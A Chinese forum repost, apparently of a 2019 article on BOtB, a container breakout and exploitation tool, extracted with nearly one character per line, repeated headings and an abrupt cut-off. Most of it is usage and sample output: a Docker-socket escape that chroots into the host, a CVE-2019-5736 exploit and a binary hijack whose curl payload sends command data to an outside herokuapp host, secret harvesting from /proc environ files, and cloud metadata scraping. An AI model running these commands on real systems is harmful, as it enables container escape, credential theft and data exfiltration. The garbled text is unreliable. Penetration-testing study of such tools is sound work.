论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[14706] 2019-10-16_Botb:容器分析和漏洞利用工具
文档创建者:
s7ckTeam
浏览次数:
12
最后更新:
2025-01-18
漏洞
12 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2019-10-16_Botb:容器分析和漏洞利用工具
B
o
t
b
:
容
器
分
析
和
漏
洞
利
用
工
具
s
e
c
i
s
t
F
r
e
e
B
u
f
2
0
1
9
-
1
0
-
1
6
B
O
t
B
(
(
B
r
e
a
k
o
u
t
t
h
e
B
o
x
)
是
一
款
容
器
分
析
和
漏
洞
利
用
工
具
,
其
主
要
是
为
渗
透
测
试
人
员
和
工
程
师
所
设
计
的
。
)
是
一
款
容
器
分
析
和
漏
洞
利
用
工
具
,
其
主
要
是
为
渗
透
测
试
人
员
和
工
程
师
所
设
计
的
。
它
可
以
为
我
们
做
什
么
?
它
可
以
为
我
们
做
什
么
?
B
O
t
B
是
一
个
C
L
I
工
具
,
你
可
以
执
行
以
下
操
作
:
利
用
常
见
的
容
器
漏
洞
执
行
常
见
的
容
器
后
期
利
用
操
作
当
某
些
工
具
或
二
进
制
文
件
在
容
器
中
不
可
用
时
提
供
功
能
使
用
B
O
t
B
的
功
能
与
C
I
/
C
D
技
术
来
测
试
容
器
部
署
以
手
动
或
自
动
方
式
执
行
以
上
操
作
当
前
功
能
当
前
功
能
查
找
和
识
别
U
N
I
X
域
套
接
字
识
别
支
持
H
T
T
P
的
U
N
I
X
域
套
接
字
在
U
N
I
X
域
套
接
字
或
接
口
上
查
找
并
标
识
D
o
c
k
e
r
D
a
e
m
o
n
分
析
和
识
别
E
N
V
和
在
P
r
o
c
F
S
中
(
例
如
/
P
r
o
c
/
{
p
i
d
}
/
E
n
v
i
r
o
n
)
进
程
的
敏
感
字
符
串
识
别
元
数
据
服
务
端
点
,
即
h
t
t
p
:
/
/
1
6
9
.
2
5
4
.
1
6
9
.
2
5
4
通
过
暴
露
的
D
o
c
k
e
r
D
a
e
m
o
n
执
行
容
器
突
破
通
过
C
V
E
-
2
0
1
9
-
5
7
3
6
执
行
容
器
突
破
使
用
自
定
义
p
a
y
l
o
a
d
劫
持
主
机
二
进
制
文
件
以
C
I
/
C
D
模
式
执
行
操
作
,
仅
返
回
>
0
退
出
代
码
从
G
C
P
元
数
据
端
点
中
抓
取
元
数
据
信
息
将
数
据
推
送
到
s
3
b
u
c
k
e
t
突
破
特
权
容
器
强
制
B
O
t
B
始
终
返
回
E
x
i
t
代
码
0
(
对
非
阻
塞
C
I
/
C
D
有
用
)
从
C
L
I
参
数
或
从
Y
A
M
L
配
置
文
件
执
行
以
上
操
作
获
取
获
取
B
O
t
B
B
O
t
B
在
发
行
版
中
以
二
进
制
形
式
提
供
。
构
建
构
建
B
O
t
B
B
O
t
B
是
用
G
O
编
写
的
,
因
此
你
可
以
使
用
标
准
的
G
O
工
具
来
构
建
。
你
可
以
执
行
以
下
操
作
:
获
取
代
码
:
构
建
代
码
:
使
用
使
用
可
以
将
B
O
T
B
编
译
为
目
标
平
台
的
二
进
制
文
件
,
支
持
的
用
法
如
下
:
‘
g
o
g
e
t
g
i
t
h
u
b
.
c
o
m
/
b
r
o
m
p
w
n
i
e
/
b
o
t
b
o
r
g
i
t
c
l
o
n
e
g
i
t
@
g
i
t
h
u
b
.
c
o
m
:
b
r
o
m
p
w
n
i
e
/
b
o
t
b
.
g
i
t
g
o
v
e
n
d
o
r
i
n
i
t
g
o
v
e
n
d
o
r
a
d
d
g
i
t
h
u
b
.
c
o
m
/
t
v
4
2
/
h
t
t
p
u
n
i
x
g
o
v
e
n
d
o
r
a
d
d
g
i
t
h
u
b
.
c
o
m
/
k
r
/
p
t
y
g
o
b
u
i
l
d
-
o
b
o
t
b
s
B
i
n
a
r
y
U
s
a
g
e
o
f
.
/
b
o
t
b
:
-
a
g
g
r
s
t
r
i
n
g
A
t
t
e
m
p
t
t
o
e
x
p
l
o
i
t
R
u
n
c
P
W
N
(
d
e
f
a
u
l
t
"
n
i
l
"
)
-
a
l
w
a
y
s
-
s
u
c
c
e
e
d
A
l
w
a
y
s
s
e
t
B
O
t
B
'
s
E
x
i
t
c
o
d
e
t
o
Z
e
r
o
-
a
u
t
o
p
w
n
A
t
t
e
m
p
t
t
o
a
u
t
o
p
w
n
e
x
p
o
s
e
d
s
o
c
k
e
t
s
-
c
i
c
d
A
t
t
e
m
p
t
t
o
a
u
t
o
p
w
n
b
u
t
d
o
n
'
t
d
r
o
p
t
o
T
T
Y
,
r
e
t
u
r
n
e
x
i
t
c
o
d
e
1
i
f
s
u
c
c
e
s
s
f
u
l
e
l
s
e
0
-
c
o
n
f
i
g
s
t
r
i
n
g
L
o
a
d
c
o
n
f
i
g
f
r
o
m
p
r
o
v
i
d
e
d
y
a
m
l
f
i
l
e
(
d
e
f
a
u
l
t
"
n
i
l
"
)
-
e
n
d
p
o
i
n
t
l
i
s
t
s
t
r
i
n
g
P
r
o
v
i
d
e
a
t
e
x
t
f
i
l
e
w
i
t
h
e
n
d
p
o
i
n
t
s
t
o
t
e
s
t
(
d
e
f
a
u
l
t
"
n
i
l
"
)
还
可
以
指
示
B
O
t
b
通
过
c
o
n
f
i
g
参
数
从
Y
A
M
L
文
件
加
载
设
置
以
下
用
法
示
例
在
检
测
到
异
常
时
默
认
情
况
下
将
返
回
退
出
代
码
>
0
,
这
由
“
e
c
h
o
$
?
”
表
示
。
显
示
最
后
执
行
命
令
的
退
出
代
码
。
查
找
查
找
U
N
I
X
域
套
接
字
域
套
接
字
查
找
查
找
D
o
c
k
e
r
D
a
e
m
o
n
通
过
暴
露
的
通
过
暴
露
的
D
o
c
k
e
r
D
a
e
m
o
n
突
破
容
器
突
破
容
器
这
种
方
法
将
在
主
机
上
突
破
为
交
互
式
T
T
Y
。
以
以
C
I
/
C
D
友
好
方
式
突
破
容
器
友
好
方
式
突
破
容
器
这
种
方
法
不
会
逃
逸
到
主
机
上
的
T
T
Y
中
,
而
是
返
回
退
出
代
码
>
0
来
指
示
容
器
成
功
突
破
。
P
r
o
v
i
d
e
a
t
e
x
t
f
i
l
e
w
i
t
h
e
n
d
p
o
i
n
t
s
t
o
t
e
s
t
(
d
e
f
a
u
l
t
"
n
i
l
"
)
-
f
i
n
d
-
d
o
c
k
e
r
A
t
t
e
m
p
t
t
o
f
i
n
d
D
o
c
k
e
r
d
-
f
i
n
d
-
h
t
t
p
H
u
n
t
f
o
r
A
v
a
i
l
a
b
l
e
U
N
I
X
D
o
m
a
i
n
S
o
c
k
e
t
s
w
i
t
h
H
T
T
P
-
f
i
n
d
-
s
o
c
k
e
t
s
H
u
n
t
f
o
r
A
v
a
i
l
a
b
l
e
U
N
I
X
D
o
m
a
i
n
S
o
c
k
e
t
s
-
h
i
j
a
c
k
s
t
r
i
n
g
A
t
t
e
m
p
t
t
o
h
i
j
a
c
k
b
i
n
a
r
i
e
s
o
n
h
o
s
t
(
d
e
f
a
u
l
t
"
n
i
l
"
)
-
m
e
t
a
d
a
t
a
A
t
t
e
m
p
t
t
o
f
i
n
d
m
e
t
a
d
a
t
a
s
e
r
v
i
c
e
s
-
p
a
t
h
s
t
r
i
n
g
P
a
t
h
t
o
S
t
a
r
t
S
c
a
n
n
i
n
g
f
o
r
U
N
I
X
D
o
m
a
i
n
S
o
c
k
e
t
s
(
d
e
f
a
u
l
t
"
/
"
)
-
p
w
n
-
p
r
i
v
i
l
e
g
e
d
s
t
r
i
n
g
P
r
o
v
i
d
e
a
c
o
m
m
a
n
d
p
a
y
l
o
a
d
t
o
t
r
y
e
x
p
l
o
i
t
-
-
p
r
i
v
i
l
e
g
e
C
G
R
O
U
P
r
e
l
e
a
s
e
_
a
g
e
n
t
'
s
(
d
e
f
a
u
l
t
"
n
i
l
"
)
-
r
e
c
o
n
P
e
r
f
o
r
m
R
e
c
o
n
o
f
t
h
e
C
o
n
t
a
i
n
e
r
E
N
V
-
r
e
g
i
o
n
s
t
r
i
n
g
P
r
o
v
i
d
e
a
A
W
S
R
e
g
i
o
n
e
.
g
e
u
-
w
e
s
t
-
2
(
d
e
f
a
u
l
t
"
n
i
l
"
)
-
s
3
b
u
c
k
e
t
s
t
r
i
n
g
P
r
o
v
i
d
e
a
b
u
c
k
e
t
n
a
m
e
f
o
r
S
3
P
u
s
h
(
d
e
f
a
u
l
t
"
n
i
l
"
)
-
s
3
p
u
s
h
s
t
r
i
n
g
P
u
s
h
a
f
i
l
e
t
o
S
3
e
.
g
F
u
l
l
c
o
m
m
a
n
d
t
o
p
u
s
h
t
o
h
t
t
p
s
:
/
/
Y
O
U
R
B
U
C
K
E
T
.
s
3
.
e
u
-
w
e
s
t
-
2
.
a
m
a
z
o
n
a
w
s
.
c
o
m
/
F
I
L
E
N
A
M
E
w
o
u
l
d
b
e
:
-
r
e
g
i
o
n
e
u
-
w
e
s
t
-
2
-
s
3
b
u
c
k
e
t
Y
O
U
R
B
U
C
K
E
T
-
s
3
p
u
s
h
F
I
L
E
N
A
M
E
(
-
s
c
r
a
p
e
-
g
c
p
A
t
t
e
m
p
t
t
o
s
c
r
a
p
e
t
h
e
G
C
P
m
e
t
a
d
a
t
a
s
e
r
v
i
c
e
-
v
e
r
b
o
s
e
V
e
r
b
o
s
e
o
u
t
p
u
t
-
w
o
r
d
l
i
s
t
s
t
r
i
n
g
P
r
o
v
i
d
e
a
w
o
r
d
l
i
s
t
(
d
e
f
a
u
l
t
"
n
i
l
"
)
#
.
/
b
o
t
b
-
c
o
n
f
i
g
=
c
f
g
.
y
m
l
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
L
o
a
d
i
n
g
C
o
n
f
i
g
:
c
f
g
.
y
m
l
.
.
.
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
s
o
c
k
e
t
=
t
r
u
e
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
H
u
n
t
i
n
g
D
o
w
n
U
N
I
X
D
o
m
a
i
n
S
o
c
k
e
t
s
f
r
o
m
:
/
[
!
]
V
a
l
i
d
S
o
c
k
e
t
:
/
v
a
r
/
m
e
h
[
+
]
F
i
n
i
s
h
e
d
#
e
c
h
o
$
?
1
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
f
i
n
d
-
d
o
c
k
e
r
=
t
r
u
e
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
L
o
o
k
i
n
g
f
o
r
D
o
c
k
e
r
d
[
!
]
D
o
c
k
e
r
d
D
O
C
K
E
R
_
H
O
S
T
f
o
u
n
d
:
t
c
p
:
/
/
0
.
0
.
0
.
0
:
2
3
7
5
[
+
]
H
u
n
t
i
n
g
D
o
c
k
e
r
S
o
c
k
s
[
!
]
V
a
l
i
d
D
o
c
k
e
r
S
o
c
k
e
t
:
/
v
a
r
/
m
e
h
[
+
]
F
i
n
i
s
h
e
d
#
e
c
h
o
$
?
1
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
a
u
t
o
p
w
n
=
t
r
u
e
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
a
u
t
o
p
w
n
[
+
]
H
u
n
t
i
n
g
D
o
c
k
e
r
S
o
c
k
s
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
a
u
t
o
p
w
n
:
/
v
a
r
/
m
e
h
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
e
s
c
a
p
e
t
o
h
o
s
t
.
.
.
[
+
]
A
t
t
e
m
p
t
i
n
g
i
n
T
T
Y
M
o
d
e
.
/
d
o
c
k
e
r
/
d
o
c
k
e
r
-
H
u
n
i
x
:
/
/
/
v
a
r
/
m
e
h
r
u
n
-
t
-
i
-
v
/
:
/
h
o
s
t
a
l
p
i
n
e
:
l
a
t
e
s
t
/
b
i
n
/
s
h
c
h
r
o
o
t
/
h
o
s
t
&
&
c
l
e
a
r
e
c
h
o
'
Y
o
u
a
r
e
n
o
w
o
n
t
h
e
u
n
d
e
r
l
y
i
n
g
h
o
s
t
'
Y
o
u
a
r
e
n
o
w
o
n
t
h
e
u
n
d
e
r
l
y
i
n
g
h
o
s
t
/
#
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
a
u
t
o
p
w
n
=
t
r
u
e
-
c
i
c
d
=
t
r
u
e
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
a
u
t
o
p
w
n
[
+
]
H
u
n
t
i
n
g
D
o
c
k
e
r
S
o
c
k
s
使
用
自
定
义
使
用
自
定
义
p
a
y
l
o
a
d
利
用
利
用
C
V
E
-
2
0
1
9
-
5
7
3
6
请
注
意
,
在
该
场
景
下
要
想
有
效
利
用
,
必
须
在
目
标
容
器
中
执
行
一
个
进
程
。
使
用
自
定
义
使
用
自
定
义
p
a
y
l
o
a
d
在
主
机
上
劫
持
命
令
在
主
机
上
劫
持
命
令
/
二
进
制
文
件
二
进
制
文
件
请
注
意
,
这
可
用
于
测
试
外
部
实
体
是
否
正
在
容
器
内
执
行
命
令
。
例
如
D
o
c
k
e
r
E
x
e
c
和
K
u
b
e
t
c
l
C
P
。
分
析
分
析
E
N
V
和
和
P
r
o
c
F
S
环
境
中
的
敏
感
字
符
串
环
境
中
的
敏
感
字
符
串
默
认
情
况
下
,
B
O
t
B
将
搜
索
“
s
e
c
r
e
t
”
和
“
p
a
s
s
w
o
r
d
”
。
可
以
将
w
o
r
d
l
i
s
t
提
供
给
B
O
t
B
以
扫
描
特
定
的
关
键
字
。
扫
描
元
数
据
端
点
扫
描
元
数
据
端
点
默
认
情
况
下
,
B
O
t
B
扫
描
两
个
元
数
据
端
点
。
还
可
以
提
供
需
要
扫
描
的
端
点
列
表
。
[
+
]
H
u
n
t
i
n
g
D
o
c
k
e
r
S
o
c
k
s
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
a
u
t
o
p
w
n
:
/
v
a
r
/
m
e
h
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
e
s
c
a
p
e
t
o
h
o
s
t
.
.
.
[
!
]
S
u
c
c
e
s
s
f
u
l
l
y
e
s
c
a
p
e
d
c
o
n
t
a
i
n
e
r
[
+
]
F
i
n
i
s
h
e
d
#
e
c
h
o
$
?
1
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
a
g
g
r
=
'
c
u
r
l
"
h
t
t
p
s
:
/
/
s
o
m
e
.
e
n
d
p
o
i
n
t
.
c
o
m
?
c
o
m
m
a
n
d
=
$
0
&
p
a
r
a
m
1
=
$
1
&
p
a
r
a
m
2
=
$
2
"
>
/
d
e
v
/
n
u
l
l
2
>
&
1
'
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
!
]
W
A
R
N
I
N
G
T
H
I
S
O
P
T
I
O
N
I
S
N
O
T
C
I
C
D
F
R
I
E
N
D
L
Y
,
T
H
I
S
W
I
L
L
P
R
O
B
A
B
L
Y
B
R
E
A
K
T
H
E
C
O
N
T
A
I
N
E
R
R
U
N
T
I
M
E
B
U
T
Y
O
U
M
I
G
H
T
G
E
T
S
H
E
L
L
Z
.
.
.
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
e
x
p
l
o
i
t
C
V
E
-
2
0
1
9
-
5
7
3
6
w
i
t
h
c
o
m
m
a
n
d
:
c
u
r
l
"
h
t
t
p
s
:
/
/
b
o
b
e
n
d
p
o
i
n
t
.
h
e
r
o
k
u
a
p
p
.
c
o
m
/
c
a
n
a
r
y
/
b
o
b
b
y
?
c
o
m
m
a
n
d
=
$
0
&
p
a
r
a
m
1
=
$
1
&
p
a
r
a
m
2
=
$
2
"
>
/
d
e
v
/
n
u
l
l
2
>
&
1
[
+
]
T
h
i
s
p
r
o
c
e
s
s
w
i
l
l
e
x
i
t
I
F
a
n
E
X
E
C
V
E
i
s
c
a
l
l
e
d
i
n
t
h
e
C
o
n
t
a
i
n
e
r
o
r
i
f
t
h
e
C
o
n
t
a
i
n
e
r
i
s
m
a
n
u
a
l
l
y
s
t
o
p
p
e
d
[
+
]
F
i
n
i
s
h
e
d
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
h
i
j
a
c
k
=
'
c
u
r
l
"
h
t
t
p
s
:
/
/
b
o
b
e
n
d
p
o
i
n
t
.
h
e
r
o
k
u
a
p
p
.
c
o
m
/
c
a
n
a
r
y
/
b
o
b
b
y
?
c
o
m
m
a
n
d
=
$
0
&
p
a
r
a
m
1
=
$
1
&
p
a
r
a
m
2
=
$
2
"
>
/
d
e
v
/
n
u
l
l
2
>
&
1
'
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
!
]
W
A
R
N
I
N
G
T
H
I
S
W
I
L
L
P
R
O
B
A
B
L
Y
B
R
E
A
K
T
H
E
C
O
N
T
A
I
N
E
R
B
U
T
Y
O
U
M
A
Y
G
E
T
S
H
E
L
L
Z
.
.
.
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
h
i
j
a
c
k
b
i
n
a
r
i
e
s
[
*
]
C
o
m
m
a
n
d
t
o
b
e
u
s
e
d
:
c
u
r
l
"
h
t
t
p
s
:
/
/
b
o
b
e
n
d
p
o
i
n
t
.
h
e
r
o
k
u
a
p
p
.
c
o
m
/
c
a
n
a
r
y
/
b
o
b
b
y
?
c
o
m
m
a
n
d
=
$
0
&
p
a
r
a
m
1
=
$
1
&
p
a
r
a
m
2
=
$
2
"
>
/
d
e
v
/
n
u
l
l
2
>
&
1
[
+
]
C
u
r
r
e
n
t
l
y
h
i
j
a
c
k
i
n
g
:
/
b
i
n
[
+
]
C
u
r
r
e
n
t
l
y
h
i
j
a
c
k
i
n
g
:
/
s
b
i
n
[
+
]
C
u
r
r
e
n
t
l
y
h
i
j
a
c
k
i
n
g
:
/
u
s
r
/
b
i
n
[
+
]
F
i
n
i
s
h
e
d
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
r
e
c
o
n
=
t
r
u
e
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
P
e
r
f
o
r
m
i
n
g
C
o
n
t
a
i
n
e
r
R
e
c
o
n
[
+
]
S
e
a
r
c
h
i
n
g
/
p
r
o
c
/
*
f
o
r
d
a
t
a
[
!
]
S
e
n
s
i
t
i
v
e
k
e
y
w
o
r
d
f
o
u
n
d
i
n
:
/
p
r
o
c
/
1
/
e
n
v
i
r
o
n
-
>
'
P
A
T
H
=
/
g
o
/
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
g
o
/
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
s
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
b
i
n
:
/
u
s
r
/
s
b
i
n
:
/
u
s
r
/
b
i
n
:
/
s
b
i
n
:
/
b
i
n
H
O
S
T
N
A
M
E
=
0
e
5
1
2
0
0
1
1
3
e
a
T
E
R
M
=
x
t
e
r
m
G
O
L
A
N
G
_
V
E
R
S
I
O
N
=
1
.
1
2
.
4
G
O
P
A
T
H
=
/
g
o
f
o
o
=
s
e
c
r
e
t
p
a
s
s
w
o
r
d
H
O
M
E
=
/
r
o
o
t
'
[
!
]
S
e
n
s
i
t
i
v
e
k
e
y
w
o
r
d
f
o
u
n
d
i
n
:
/
p
r
o
c
/
1
2
/
e
n
v
i
r
o
n
-
>
'
G
O
L
A
N
G
_
V
E
R
S
I
O
N
=
1
.
1
2
.
4
H
O
S
T
N
A
M
E
=
0
e
5
1
2
0
0
1
1
3
e
a
G
O
P
A
T
H
=
/
g
o
P
W
D
=
/
a
p
p
/
b
i
n
H
O
M
E
=
/
r
o
o
t
f
o
o
=
s
e
c
r
e
t
p
a
s
s
w
o
r
d
T
E
R
M
=
x
t
e
r
m
S
H
L
V
L
=
1
P
A
T
H
=
/
g
o
/
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
g
o
/
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
s
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
b
i
n
:
/
u
s
r
/
s
b
i
n
:
/
u
s
r
/
b
i
n
:
/
s
b
i
n
:
/
b
i
n
_
=
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
O
L
D
P
W
D
=
/
b
i
n
'
[
!
]
S
e
n
s
i
t
i
v
e
k
e
y
w
o
r
d
f
o
u
n
d
i
n
:
/
p
r
o
c
/
s
e
l
f
/
e
n
v
i
r
o
n
-
>
'
H
O
S
T
N
A
M
E
=
0
e
5
1
2
0
0
1
1
3
e
a
S
H
L
V
L
=
1
H
O
M
E
=
/
r
o
o
t
f
o
o
=
s
e
c
r
e
t
p
a
s
s
w
o
r
d
O
L
D
P
W
D
=
/
b
i
n
_
=
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
T
E
R
M
=
x
t
e
r
m
P
A
T
H
=
/
g
o
/
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
g
o
/
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
s
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
b
i
n
:
/
u
s
r
/
s
b
i
n
:
/
u
s
r
/
b
i
n
:
/
s
b
i
n
:
/
b
i
n
G
O
P
A
T
H
=
/
g
o
P
W
D
=
/
a
p
p
/
b
i
n
G
O
L
A
N
G
_
V
E
R
S
I
O
N
=
1
.
1
2
.
4
'
[
!
]
S
e
n
s
i
t
i
v
e
k
e
y
w
o
r
d
f
o
u
n
d
i
n
:
/
p
r
o
c
/
t
h
r
e
a
d
-
s
e
l
f
/
e
n
v
i
r
o
n
-
>
'
H
O
S
T
N
A
M
E
=
0
e
5
1
2
0
0
1
1
3
e
a
S
H
L
V
L
=
1
H
O
M
E
=
/
r
o
o
t
f
o
o
=
s
e
c
r
e
t
p
a
s
s
w
o
r
d
O
L
D
P
W
D
=
/
b
i
n
_
=
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
T
E
R
M
=
x
t
e
r
m
P
A
T
H
=
/
g
o
/
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
g
o
/
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
s
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
b
i
n
:
/
u
s
r
/
s
b
i
n
:
/
u
s
r
/
b
i
n
:
/
s
b
i
n
:
/
b
i
n
G
O
P
A
T
H
=
/
g
o
P
W
D
=
/
a
p
p
/
b
i
n
G
O
L
A
N
G
_
V
E
R
S
I
O
N
=
1
.
1
2
.
4
'
[
+
]
C
h
e
c
k
i
n
g
E
N
V
V
a
r
i
a
b
l
e
s
f
o
r
s
e
c
r
e
t
s
[
!
]
S
e
n
s
i
t
i
v
e
K
e
y
w
o
r
d
f
o
u
n
d
i
n
E
N
V
:
f
o
o
=
s
e
c
r
e
t
p
a
s
s
w
o
r
d
[
+
]
F
i
n
i
s
h
e
d
#
e
c
h
o
$
?
1
#
c
a
t
w
o
r
d
l
i
s
t
.
t
x
t
m
o
o
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
r
e
c
o
n
=
t
r
u
e
-
w
o
r
d
l
i
s
t
=
w
o
r
d
l
i
s
t
.
t
x
t
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
P
e
r
f
o
r
m
i
n
g
C
o
n
t
a
i
n
e
r
R
e
c
o
n
[
+
]
S
e
a
r
c
h
i
n
g
/
p
r
o
c
/
*
f
o
r
d
a
t
a
[
*
]
L
o
a
d
i
n
g
e
n
t
r
i
e
s
f
r
o
m
:
w
o
r
d
l
i
s
t
.
t
x
t
[
+
]
C
h
e
c
k
i
n
g
E
N
V
V
a
r
i
a
b
l
e
s
f
o
r
s
e
c
r
e
t
s
[
*
]
L
o
a
d
i
n
g
e
n
t
r
i
e
s
f
r
o
m
:
w
o
r
d
l
i
s
t
.
t
x
t
[
+
]
F
i
n
i
s
h
e
d
#
e
c
h
o
$
?
0
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
m
e
t
a
d
a
t
a
=
t
r
u
e
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
*
]
A
t
t
e
m
p
t
i
n
g
t
o
q
u
e
r
y
m
e
t
a
d
a
t
a
e
n
d
p
o
i
n
t
:
'
h
t
t
p
:
/
/
1
6
9
.
2
5
4
.
1
6
9
.
2
5
4
/
l
a
t
e
s
t
/
m
e
t
a
-
d
a
t
a
/
'
[
*
]
A
t
t
e
m
p
t
i
n
g
t
o
q
u
e
r
y
m
e
t
a
d
a
t
a
e
n
d
p
o
i
n
t
:
'
h
t
t
p
:
/
/
k
u
b
e
r
n
e
t
e
s
.
d
e
f
a
u
l
t
.
s
v
c
/
'
[
+
]
F
i
n
i
s
h
e
d
#
e
c
h
o
$
?
0
#
c
a
t
e
n
d
p
o
i
n
t
s
.
t
x
t
h
t
t
p
s
:
/
/
h
e
r
o
k
u
.
c
o
m
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
m
e
t
a
d
a
t
a
=
t
r
u
e
-
e
n
d
p
o
i
n
t
l
i
s
t
=
e
n
d
p
o
i
n
t
s
.
t
x
t
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
*
]
L
o
a
d
i
n
g
e
n
t
r
i
e
s
f
r
o
m
:
e
n
d
p
o
i
n
t
s
.
t
x
t
[
*
]
A
t
t
e
m
p
t
i
n
g
t
o
q
u
e
r
y
m
e
t
a
d
a
t
a
e
n
d
p
o
i
n
t
:
'
h
t
t
p
s
:
/
/
h
e
r
o
k
u
.
c
o
m
'
获
取
接
口
和
获
取
接
口
和
I
P
扫
描
响
应
扫
描
响
应
H
T
T
P
的
的
U
N
I
X
域
套
接
字
域
套
接
字
从
从
G
C
P
元
数
据
实
例
中
抓
取
数
据
元
数
据
实
例
中
抓
取
数
据
将
数
据
推
送
到
将
数
据
推
送
到
A
W
S
S
3
B
u
c
k
e
t
突
破
特
权
容
器
突
破
特
权
容
器
强
制
强
制
b
o
t
b
始
终
成
功
,
退
出
代
码
为
始
终
成
功
,
退
出
代
码
为
0
这
对
于
非
阻
塞
C
I
/
C
D
测
试
很
有
用
将
将
B
O
t
B
与
与
Y
A
M
L
配
置
文
件
一
起
使
用
配
置
文
件
一
起
使
用
示
例
Y
A
M
L
文
件
c
f
g
.
y
m
l
[
*
]
A
t
t
e
m
p
t
i
n
g
t
o
q
u
e
r
y
m
e
t
a
d
a
t
a
e
n
d
p
o
i
n
t
:
'
h
t
t
p
s
:
/
/
h
e
r
o
k
u
.
c
o
m
'
[
!
]
R
e
p
o
n
s
e
f
r
o
m
'
h
t
t
p
s
:
/
/
h
e
r
o
k
u
.
c
o
m
'
-
>
2
0
0
[
+
]
F
i
n
i
s
h
e
d
#
e
c
h
o
$
?
1
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
i
n
t
e
r
f
a
c
e
s
=
t
r
u
e
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
g
e
t
l
o
c
a
l
n
e
t
w
o
r
k
i
n
t
e
r
f
a
c
e
s
[
*
]
G
o
t
I
n
t
e
r
f
a
c
e
:
l
o
[
*
]
G
o
t
a
d
d
r
e
s
s
:
1
2
7
.
0
.
0
.
1
/
8
[
*
]
G
o
t
I
n
t
e
r
f
a
c
e
:
t
u
n
l
0
[
*
]
G
o
t
I
n
t
e
r
f
a
c
e
:
i
p
6
t
n
l
0
[
*
]
G
o
t
I
n
t
e
r
f
a
c
e
:
e
t
h
0
[
*
]
G
o
t
a
d
d
r
e
s
s
:
1
7
2
.
1
7
.
0
.
3
/
1
6
[
+
]
F
i
n
i
s
h
e
d
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
f
i
n
d
-
h
t
t
p
=
t
r
u
e
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
L
o
o
k
i
n
g
f
o
r
H
T
T
P
e
n
a
b
l
e
d
S
o
c
k
e
t
s
[
!
]
V
a
l
i
d
H
T
T
P
S
o
c
k
e
t
:
/
v
a
r
/
r
u
n
/
d
o
c
k
e
r
.
s
o
c
k
[
+
]
F
i
n
i
s
h
e
d
#
.
/
b
o
t
b
_
l
i
n
u
x
_
a
m
d
6
4
-
s
c
r
a
p
e
-
g
c
p
=
t
r
u
e
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
c
o
n
n
e
c
t
t
o
:
1
6
9
.
2
5
4
.
1
6
9
.
2
5
4
:
8
0
[
*
]
O
u
t
p
u
t
-
>
H
T
T
P
/
1
.
0
2
0
0
O
K
M
e
t
a
d
a
t
a
-
F
l
a
v
o
r
:
G
o
o
g
l
e
C
o
n
t
e
n
t
-
T
y
p
e
:
a
p
p
l
i
c
a
t
i
o
n
/
t
e
x
t
D
a
t
e
:
S
u
n
,
3
0
J
u
n
2
0
1
9
2
1
:
5
3
:
4
1
G
M
T
S
e
r
v
e
r
:
M
e
t
a
d
a
t
a
S
e
r
v
e
r
f
o
r
V
M
C
o
n
n
e
c
t
i
o
n
:
C
l
o
s
e
C
o
n
t
e
n
t
-
L
e
n
g
t
h
:
2
1
0
1
3
X
-
X
S
S
-
P
r
o
t
e
c
t
i
o
n
:
0
X
-
F
r
a
m
e
-
O
p
t
i
o
n
s
:
S
A
